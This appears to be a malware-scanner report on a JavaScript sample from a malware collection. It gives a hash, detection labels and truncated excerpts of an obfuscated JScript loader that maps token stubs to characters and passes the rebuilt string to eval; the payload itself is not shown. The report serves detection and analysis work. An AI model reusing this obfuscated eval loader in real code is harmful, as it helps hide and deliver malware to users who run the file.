Suspicious ^80% javascript-malware-collection Download

20160921_5496891f48e427ad533fc8e112e9bb4f.js

obfuscated eval execution

Token-array remap reconstructionRepeated anonymous return token stubs

SHA-256fb85e1d59ed8f9cee344ab5ab95f651cb8fb1ee7ec35d0a88f8f41279a3d17a6

Evidence

Repeated anonymous return token stubs lines 1–5

1
2/*@cc_on
3
4var PAa = "";
5var OOn = [(function f000(){return "Sq";})(),(function f000(){return "SGs";})(),(function f000(){return "TKp";})(),(function f000(){return "Rh";})(),(function f000(){return "Wy";})(),(function f000(){return "Iq";})(),(function f000(){return "DYx";})(),(function f000(){return "TKp";})(),(function f000(){return "GGn";})(),(function f000(){return "Oe";})(),(function f000(){return "QDg";})(),(function f000(){return "DIa";})(),(function f000(){return "BIj";})(),(function f000(){return "MKa";})(),(function f000(){return "GGn";})(),(function f000(){return "GGn";})(),(function f000(){return "GGn";})(),(function f000(){return "GGn";})(),(fun …

Short-token to hex-char map lines 5–9

5:595744… )(),(function f000(){return "MKa";})()];
6var Ww;
7for (Ww = 0; Ww < OOn.length; Ww++)
8{
9var VVm = {'Mt': '\x79', 'NBs': '\x78', 'SGs': '\x75', 'Wy': '\x74', 'EZu': '\x77', 'Nx': '\x71', 'Mc': '\x70', 'UEg': '\x73', 'Tn': '\x72', 'MKa': '\x0a', 'MMz': '\x0d', 'Ot': '\x09', 'KZr': '\x7d', 'Wb': '\x7a', 'Qp': '\x7c', 'BIj': '\x7b', 'Wh': '\x2f', 'Mu': '\x2d', 'Ml': '\x2e', 'MDb': '\x2b', 'OMd': '\x2c', 'U …

Token remap loop into eval buffer lines 9–15

9:1280… d', 'KIc': '\x5c', 'OUx': '\x5b', 'IAa': '\x5a'};
10    MJj = OOn[Ww];
11    var Ax = VVm[MJj];
12    PAa = PAa + Ax;
13}
14eval(PAa);
15@*/